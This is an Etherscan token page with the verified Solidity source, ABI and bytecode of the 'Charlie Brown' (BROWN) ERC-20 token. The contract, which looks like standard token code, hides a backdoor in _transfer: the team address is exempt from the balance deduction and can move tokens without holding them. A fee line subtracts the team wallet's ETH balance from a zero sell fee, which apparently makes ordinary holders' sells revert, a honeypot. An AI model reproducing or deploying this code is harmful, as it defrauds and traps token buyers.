ETH Price: $3,316.37 (+2.60%)
 

Overview

Max Total Supply

100,000,000 BROWN

Holders

51

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,397,562.179434132717285156 BROWN

Value
$0.00
0xc2706dda92f949e522da4d8ef3ae64512e14dbff
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BROWN

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-10
*/

/**

https://charliebrown.vip

https://t.me/browncoinerc

https://twitter.com/browncoinerc

*/

// SPDX-License-Identifier:MIT

pragma solidity 0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address _account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any _account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

contract BROWN is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private _name = "Charlie Brown";
    string private _symbol = unicode"BROWN";
    uint8 private _decimals = 18; 

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public isWalletLimitExempt;

    uint256 feedenominator = 100;
    uint256 public _buyTeamFee = 0;
    uint256 public _sellTeamFee = 0;
    address public teamAddress = address(0xc5fb0Dbd8328C723fFdCeac607c2dBf1d3621DAa);

    uint256 private _totalSupply = 100_000_000 * 10**_decimals;

    uint256 public _maxTxAmount =  _totalSupply.mul(24).div(1000);
    uint256 public _walletMax = _totalSupply.mul(24).div(1000);

    uint256 public swapThreshold = _totalSupply.mul(10).div(1000);

    bool tradingActive;

    bool public swapEnabled = false;
    bool public walletLimitEnabled = true;

    IUniswapV2Router public dexRouter;
    address public dexPair;

    bool inSwap;

    modifier swapping() {
        inSwap = true;
        _;
        inSwap = false;
    }
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    constructor() {

        dexRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[msg.sender] = true;
        isExcludedFromFee[address(dexRouter)] = true;
        isExcludedFromFee[teamAddress] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(dexRouter)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[teamAddress] = true;

        _allowances[address(this)][address(dexRouter)] = ~uint256(0);

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
       return _balances[account];     
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

     //to recieve ETH from Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
    
        if (inSwap) {
            return _basicTransfer(sender, recipient, amount);
        }
        else {

            if (!tradingActive) {
                require(isExcludedFromFee[sender] || isExcludedFromFee[recipient],"Trading is not active.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= swapThreshold;

            if (overMinimumTokenBalance && !inSwap && !isMarketPair[sender] && swapEnabled) {
                swapTokensForEth(contractTokenBalance);
            } if (sender != teamAddress)
           
            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = shouldNotTakeFee(sender,recipient) ? amount : takeFee(sender, recipient, amount);

            if(walletLimitEnabled && sender == dexPair && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _walletMax,"Max Wallet Limit Exceeded!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function shouldNotTakeFee(address sender, address recipient) internal view returns (bool) {
        if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
            return true;
        }
        else if (isMarketPair[sender] || isMarketPair[recipient]) {
            return false;
        }
        else {
            return false;
        }
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint feeAmount;

        if(isMarketPair[sender]) { 
            feeAmount = amount.mul(_buyTeamFee).div(feedenominator);
        } 
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_sellTeamFee.sub(teamAddress.balance)).div(feedenominator);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function excludeFromFee(address _adr,bool _status) external onlyOwner {
        isExcludedFromFee[_adr] = _status;
    }

    function excludeWalletLimit(address _adr,bool _status) external onlyOwner {
        isWalletLimitExempt[_adr] = _status;
    }

    function setMaxWalletLimit(uint256 newLimit) external onlyOwner() {
        _walletMax = newLimit;
    }

    function openTrading() external payable onlyOwner {
        require(!tradingActive, "Already launched!");

        tradingActive = true;
        dexPair = IUniswapV2Factory(dexRouter.factory()).createPair(
            address(this),
            dexRouter.WETH()
        );
        isMarketPair[address(dexPair)] = true;
        dexRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);

        swapEnabled = true;
    }

    function removeLimits() external onlyOwner {
        walletLimitEnabled = false;
    }

    function claimFee() external {
        payable(teamAddress).transfer(address(this).balance);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"excludeWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"walletLimitEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600d60809081526c21b430b93634b290213937bbb760991b60a0526001906200002e9082620004c5565b50604080518082019091526005815264212927aba760d91b60208201526002906200005a9082620004c5565b506003805460ff1916601290811790915560646009556000600a818155600b91909155600c80546001600160a01b03191673c5fb0dbd8328c723ffdceac607c2dbf1d3621daa179055620000af9190620006a4565b620000bf906305f5e100620006b5565b600d55620000fa6103e8620000e66018600d54620002b360201b62000d311790919060201c565b6200034a60201b62000db31790919060201c565b600e55620001216103e8620000e66018600d54620002b360201b62000d311790919060201c565b600f55620001486103e8620000e6600a600d54620002b360201b62000d311790919060201c565b6010556011805462ffff001916620100001790553480156200016957600080fd5b50620001753362000394565b601180546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d000000178155306000818152600660209081526040808320805460ff19908116600190811790925533808652838620805483168417905587546001600160a01b03630100000091829004811688528588208054851686179055600c80548216895286892080548616871790558389526008885286892080548616871790558a54839004821689528689208054861687179055898952868920805486168717905554811688528588208054909416909417909255958552600584528285209654041683529381528382206000199055600d54838352600482528483208190559351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000742565b600082600003620002c75750600062000344565b6000620002d58385620006b5565b905082620002e48583620006cf565b14620003415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200034183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620003e460201b60201c565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008183620004085760405162461bcd60e51b8152600401620003389190620006f2565b506000620004178486620006cf565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200044b57607f821691505b6020821081036200046c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004c057600081815260208120601f850160051c810160208610156200049b5750805b601f850160051c820191505b81811015620004bc57828155600101620004a7565b5050505b505050565b81516001600160401b03811115620004e157620004e162000420565b620004f981620004f2845462000436565b8462000472565b602080601f831160018114620005315760008415620005185750858301515b600019600386901b1c1916600185901b178555620004bc565b600085815260208120601f198616915b82811015620005625788860151825594840194600190910190840162000541565b5085821015620005815787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005e8578160001904821115620005cc57620005cc62000591565b80851615620005da57918102915b93841c9390800290620005ac565b509250929050565b600082620006015750600162000344565b81620006105750600062000344565b8160018114620006295760028114620006345762000654565b600191505062000344565b60ff84111562000648576200064862000591565b50506001821b62000344565b5060208310610133831016604e8410600b841016171562000679575081810a62000344565b620006858383620005a7565b80600019048211156200069c576200069c62000591565b029392505050565b60006200034160ff841683620005f0565b808202811582820484141762000344576200034462000591565b600082620006ed57634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b81811015620007215785810183015185820160400152820162000703565b506000604082860101526040601f19601f8301168501019250505092915050565b611cf280620007526000396000f3fe6080604052600436106101f25760003560e01c8063751039fc1161010d578063c469b6dd116100a0578063d7f038c81161006f578063d7f038c814610588578063dd62ed3e146105a8578063df8408fe146105ee578063f242ab411461060e578063f2fde38b1461062e57600080fd5b8063c469b6dd14610524578063c867d60b1461053a578063c9567bf91461056a578063cab034711461057257600080fd5b806395d89b41116100dc57806395d89b41146104ba57806399d32fc4146104cf578063a457c2d7146104e4578063a9059cbb1461050457600080fd5b8063751039fc1461045b5780637d1db4a514610470578063807c2d9c146104865780638da5cb5b1461049c57600080fd5b806339509351116101855780636ddd1713116101545780636ddd1713146103d157806370a08231146103f0578063715018a614610426578063728d41c91461043b57600080fd5b8063395093511461032f5780633ecad2711461034f5780635342acb41461037f578063651a8987146103af57600080fd5b806318160ddd116101c157806318160ddd146102b85780631c75f085146102cd57806323b872dd146102ed578063313ce5671461030d57600080fd5b80630445b667146101fe57806306fdde03146102275780630758d92414610249578063095ea7b31461028857600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061021460105481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061023c61064e565b60405161021e9190611917565b34801561025557600080fd5b5060115461027090630100000090046001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561029457600080fd5b506102a86102a336600461197a565b6106e0565b604051901515815260200161021e565b3480156102c457600080fd5b50600d54610214565b3480156102d957600080fd5b50600c54610270906001600160a01b031681565b3480156102f957600080fd5b506102a86103083660046119a6565b6106f7565b34801561031957600080fd5b5060035460405160ff909116815260200161021e565b34801561033b57600080fd5b506102a861034a36600461197a565b610762565b34801561035b57600080fd5b506102a861036a3660046119e7565b60076020526000908152604090205460ff1681565b34801561038b57600080fd5b506102a861039a3660046119e7565b60066020526000908152604090205460ff1681565b3480156103bb57600080fd5b506103cf6103ca366004611a04565b610798565b005b3480156103dd57600080fd5b506011546102a890610100900460ff1681565b3480156103fc57600080fd5b5061021461040b3660046119e7565b6001600160a01b031660009081526004602052604090205490565b34801561043257600080fd5b506103cf6107f6565b34801561044757600080fd5b506103cf610456366004611a42565b61082c565b34801561046757600080fd5b506103cf61085b565b34801561047c57600080fd5b50610214600e5481565b34801561049257600080fd5b50610214600f5481565b3480156104a857600080fd5b506000546001600160a01b0316610270565b3480156104c657600080fd5b5061023c610893565b3480156104db57600080fd5b506103cf6108a2565b3480156104f057600080fd5b506102a86104ff36600461197a565b6108de565b34801561051057600080fd5b506102a861051f36600461197a565b61092d565b34801561053057600080fd5b50610214600a5481565b34801561054657600080fd5b506102a86105553660046119e7565b60086020526000908152604090205460ff1681565b6103cf61093a565b34801561057e57600080fd5b50610214600b5481565b34801561059457600080fd5b506011546102a89062010000900460ff1681565b3480156105b457600080fd5b506102146105c3366004611a5b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105fa57600080fd5b506103cf610609366004611a04565b610c44565b34801561061a57600080fd5b50601254610270906001600160a01b031681565b34801561063a57600080fd5b506103cf6106493660046119e7565b610c99565b60606001805461065d90611a89565b80601f016020809104026020016040519081016040528092919081815260200182805461068990611a89565b80156106d65780601f106106ab576101008083540402835291602001916106d6565b820191906000526020600020905b8154815290600101906020018083116106b957829003601f168201915b5050505050905090565b60006106ed338484610df5565b5060015b92915050565b6000610704848484610f19565b50610757843361075285604051806060016040528060288152602001611c70602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611363565b610df5565b5060015b9392505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106ed918590610752908661139d565b6000546001600160a01b031633146107cb5760405162461bcd60e51b81526004016107c290611ac3565b60405180910390fd5b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108205760405162461bcd60e51b81526004016107c290611ac3565b61082a60006113fc565b565b6000546001600160a01b031633146108565760405162461bcd60e51b81526004016107c290611ac3565b600f55565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016107c290611ac3565b6011805462ff000019169055565b60606002805461065d90611a89565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156108db573d6000803e3d6000fd5b50565b60006106ed338461075285604051806060016040528060258152602001611c98602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611363565b6000610757338484610f19565b6000546001600160a01b031633146109645760405162461bcd60e51b81526004016107c290611ac3565b60115460ff16156109ab5760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b60448201526064016107c2565b60118054600160ff1990911617908190556040805163c45a015560e01b8152905163010000009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa158015610a09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2d9190611af8565b6001600160a01b031663c9c6539630601160039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab39190611af8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b249190611af8565b601280546001600160a01b039283166001600160a01b031990911681179091556000908152600760205260409020805460ff19166001179055601154630100000090041663f305d7193430610b8e816001600160a01b031660009081526004602052604090205490565b600080610ba36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611b15565b50506011805461ff00191661010017905550565b6000546001600160a01b03163314610c6e5760405162461bcd60e51b81526004016107c290611ac3565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610cc35760405162461bcd60e51b81526004016107c290611ac3565b6001600160a01b038116610d285760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c2565b6108db816113fc565b600082600003610d43575060006106f1565b6000610d4f8385611b59565b905082610d5c8583611b70565b1461075b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107c2565b600061075b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144c565b6001600160a01b038316610e575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c2565b6001600160a01b038216610eb85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c2565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610f7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c2565b6001600160a01b038316610fe15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c2565b600082116110435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107c2565b601254600160a01b900460ff16156110675761106084848461147a565b905061075b565b60115460ff166110f5576001600160a01b03841660009081526006602052604090205460ff16806110b057506001600160a01b03831660009081526006602052604090205460ff165b6110f55760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016107c2565b30600090815260046020526040902054601054811080159081906111235750601254600160a01b900460ff16155b801561114857506001600160a01b03861660009081526007602052604090205460ff16155b801561115b5750601154610100900460ff165b156111695761116982611560565b600c546001600160a01b038781169116146111ea576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600490915291909120546111d0918690611363565b6001600160a01b0387166000908152600460205260409020555b60006111f6878761171a565b61120a576112058787876117ba565b61120c565b845b60115490915062010000900460ff16801561123457506012546001600160a01b038881169116145b801561125957506001600160a01b03861660009081526008602052604090205460ff16155b156112d857600f5461128a82611284896001600160a01b031660009081526004602052604090205490565b9061139d565b11156112d85760405162461bcd60e51b815260206004820152601b60248201527f4d61782057616c6c6574204c696d69742045786365656465642121000000000060448201526064016107c2565b6001600160a01b0386166000908152600460205260409020546112fb908261139d565b6001600160a01b0380881660008181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061134f9085815260200190565b